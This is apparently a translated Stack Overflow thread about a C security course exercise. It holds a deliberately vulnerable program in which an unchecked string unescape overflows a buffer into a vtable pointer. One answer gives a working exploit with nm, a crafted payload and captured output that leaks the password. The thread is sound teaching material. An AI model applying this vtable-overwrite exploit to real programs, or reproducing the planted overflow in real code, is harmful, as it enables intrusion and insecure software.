C黑客教程

3

你好,我目前正在完成一些关于C语言安全性的练习。有人能帮忙找到密码为prog5_secret的秘密吗?当然,我们有一个预编译的可执行文件,其中秘密并不是以明文形式存在。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "common.h"

#ifndef MAX_NAME_LEN
#define MAX_NAME_LEN BUFFER_SIZE_DELTA(32)
#endif

#ifndef MAX_LOGIN_LEN
#define MAX_LOGIN_LEN BUFFER_SIZE_DELTA(16)
#endif

#ifndef MAX_PASSWORD_LEN
#define MAX_PASSWORD_LEN BUFFER_SIZE_DELTA(48)
#endif

#ifndef MAX_LINE_LEN
#define MAX_LINE_LEN BUFFER_SIZE_DELTA(128)
#endif

static const char prog5_secret[] SECURE_PASSWD = "@PROGRAM5_PASSWORD@";

/*
 * The person class and its virtual function table.
 */
struct person;
struct person_vtable_type;

typedef struct person_vtable_type person_vtable_type;
typedef struct person person;

/*
 * Virtual Function Table
 */
struct person_vtable_type {
    void (*delete)(person *obj);
    void (*print)(person *obj);
};

/*----------------------------------------------------------------------*/
/*
 * The mighty person class. In C++ this would look like:
 *
 * class person {
 *  public:
 *    person(const char *login, const char *password, const char *name); // see person_new below.
 *    virtual ~person(); // see person_delete below
 *
 *    virtual void print(); // see person_print below.
 *
 *    char login[MAX_LOGIN_LEN];
 *    char password[MAX_PASSWORD_LEN];
 *    char fullname[MAX_NAME_LEN];
 * };
 */
struct person {
    /* Member variables */
    char login[MAX_LOGIN_LEN];
    char password[MAX_PASSWORD_LEN];
    char fullname[MAX_NAME_LEN];

    /* Member method table (Virtual function table) */
    const person_vtable_type *vtable;
};

/*
 * Print the information about a person
 */
static void person_print(person *obj) {
    printf("%s (%s)\n", obj->login, obj->fullname);
}

/*
 * Destructor for person objects
 */
static void person_delete(person *pthis) {
    if (pthis != NULL) {
        memset(pthis, 0, sizeof(*pthis));
        free(pthis);
    }
}

static const person_vtable_type person_vtable = { .delete = person_delete,
        .print = person_print };

/*
 * Constructor for person objects
 */
person *person_new(const char *login, const char *password, const char *name) {
    person *pthis = malloc(sizeof(person));
    if (pthis == NULL) {
        return NULL;
    }

    memset(pthis, 0, sizeof(*pthis));

    /* Initialize the virtual function table */
    pthis->vtable = &person_vtable;

    /* Initialize the member variables */
    strncpy(pthis->login, login, MAX_LOGIN_LEN - 1);
    strncpy(pthis->password, password, MAX_PASSWORD_LEN - 1);
    strncpy(pthis->fullname, name, MAX_NAME_LEN - 1);
    return pthis;
}

/*----------------------------------------------------------------------*/
/*
 * Assume one of our developers implemented the following class for internal
 * debugging purposes only:
 *
 * class person_debug : public person_debug
 * {
 *   public:
 *     person_debug(const char *login, const char *password, const char *name); // see person_debug_new below.
 *     virtual ~person_debug(); // see person_debug_delete below.
 *
 *     virtual void print(); // see person_debug_print below.
 * };
 */
static void person_debug_print(person *obj) {
    printf("person object at %p: login:%s, password:%s, fullname:%s\n",
            (void *) obj, obj->login, obj->password, obj->fullname);
}

/*
 * Destructor for debug person objects
 */
static void person_debug_delete(person *pthis) {
    /* Switch the vtable before destructing the
     * base class. (the vtable change shown here correctly
     * refelcts C++ destructor semantics with respect to
     * virtual methods) */
    pthis->vtable = &person_vtable;

    /* Call the base class destructor */
    person_delete(pthis);
}

/*
 * Virtual Function Table for debug_person class.
 */
static const person_vtable_type person_debug_vtable = { .delete =
        person_debug_delete, .print = person_debug_print };

/*
 * Create a debug person object.
 */
person* person_debug_new(const char *login, const char *password, const char *name) {
    person *pthis;

    /* Construct the base object */
    pthis = person_new(login, password, name);
    if (pthis == NULL) {
        return NULL;
    }

    /* Now construct "this" object (the vtable change shown here
     * correctly reflects C++ constructor semantics with respect to
     * virtual methods) */
    pthis->vtable = &person_debug_vtable;

    return pthis;
}

/*----------------------------------------------------------------------*/
/*
 * Convert a character to a hex-nibble
 */
static int char2nibble(char c) {
    return (c >= '0' && c <= '9') ? (c - '0') :
            (c >= 'a' && c <= 'f') ? (c - 'a' + 10) :
            (c >= 'A' && c <= 'F') ? (c - 'A' + 10) : -1;
}

/*
 * In-place unescaping of strings.
 */
static int unescape(char *dst, const char *src) {
    while (*src != '\0') {
        if (*src == '%') {
            /* Unescape */
            src += 1;

            if (*src == '\0') {
                /* Premature end of input */
                return -1;
            } else if (*src == '%') {
                /* Unescape % from %% */
                *dst++ = '%';
            } else {
                /* Unescape character 0xYY from %YY */
                int hi_nibble;
                int lo_nibble;

                hi_nibble = char2nibble(*src++);
                if (hi_nibble < 0) {
                    /* Invalid hex char (or '\0') */
                    return -1;
                }

                lo_nibble = char2nibble(*src++);
                if (lo_nibble < 0) {
                    /* Invalid hex char (or '\0') */
                    return -1;
                }
                /* Build the result */
                *dst++ = (hi_nibble << 4) | lo_nibble;
            }
        } else {
            /* Keep character */
            *dst++ = *src++;
        }
    }

    *dst = '\0';
    return 0;
}

/*----------------------------------------------------------------------*/
int main(int argc, char **argv) {
    char buffer[MAX_LINE_LEN];
    person *account;

    /* Arguments */
    if (argc != 2) {
        printf("usage: %s <login>\n"
                "Update the full name for a user account.\n"
                "You need the account password to finish the update.\n",
                argv[0]);
        return -1;
    }

    /* We only know a single "root" account */
    if (strcmp(argv[1], "root") != 0) {
        printf("Unknown account '%s'\n\n"
                "\nKU NOTE: We only recognize a fake 'root' account.\n"
                "(No real changes are done to your system)\n", argv[1]);
        return -1;
    }

    /* Construct account object (in a real implementation we would
     * do a lookup into the account database)
     *
     * C++: account = new person("root", "@PROGRAM5_PASSWORD@", "The Mighty Administrator");
     **/
    account = person_new("root", prog5_secret, "The Mighty Administrator");
    if (!account) {
        printf("error: failed to construct person object\n");
        return -1;
    }

    /* Show current user information */
    printf("current user information: ");

    /* C++: person->print() */
    (account->vtable->print)(account);

    /* Ask for the new full name */
    printf("new full name? ");

    if (!fgets(buffer, sizeof(buffer), stdin) || !strlen(buffer) || buffer[strlen(buffer) - 1] != '\n') {
        printf("error: bad input line\n");

        /* C++: delete account; */
        (account->vtable->delete)(account);

        return -1;
    }

    buffer[strlen(buffer) - 1] = '\0';

    /* Unescape the account name */
    if (unescape(account->fullname, buffer) != 0) {
        printf("error: bad escaped string\n");

        /* C++: delete account; */
        (account->vtable->delete)(account);

        return -1;
    }

    /* C++: person->print() */
    printf("new account info will be: ");
    (account->vtable->print)(account);

    /* We don't do anything */
    printf("failed to update account info (not implemented in this demo)\n");

    /* C++: delete account; */
    (account->vtable->delete)(account);

    return 0;
}

通用

/**
 * common.h
 */
#ifndef TASK0_COMMON_H_
#define TASK0_COMMON_H_

/* 
 * Marker for the program secrets 
 *
 * This macro is defined to some magic in
 * your precompiled programs ...
 */
#ifndef SECURE_PASSWD
#define SECURE_PASSWD
#endif

/*
 * Buffer size delta 
 *
 * This macro is defined to a small random
 * constant in your precompiled programs ...
 */
#ifndef BUFFER_SIZE_DELTA_ADJUST
#define BUFFER_SIZE_DELTA_ADJUST (0)
#endif

#define BUFFER_SIZE_DELTA(x) ((x) + BUFFER_SIZE_DELTA_ADJUST)


#endif /* TASK0_COMMON_H_ */

类似您展示的代码可以通过“strings”破解。适当的安全方法应该存储哈希值 - 可能是加盐的哈希值。 - dmckee --- ex-moderator kitten
2个回答

2

字符串是首个需要查看的程序。它是查看程序中存储的字符串文字的简单方法。

基本用法是:strings 可执行文件名称


1

unescape 函数不检查 dst 的大小,你可以很容易地溢出并覆盖 vtable。将其更改为 person_debug_print 即可完成。

您可以使用以下方式获取 person_debug_vtable 的地址:

$ nm a.out | grep  person_debug_vtable
0000000000400e90 r person_debug_vtable

而攻击的工作方式如下:

$ echo '________________________________%90%0e%40%00%00%00%00%00' | ./a.out root
current user information: root (The Mighty Administrator)
new full name? new account info will be: person object at 0x930010: login:root, password:@PROGRAM5_PASSWORD@, fullname:________________________________�@
failed to update account info (not implemented in this demo)

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接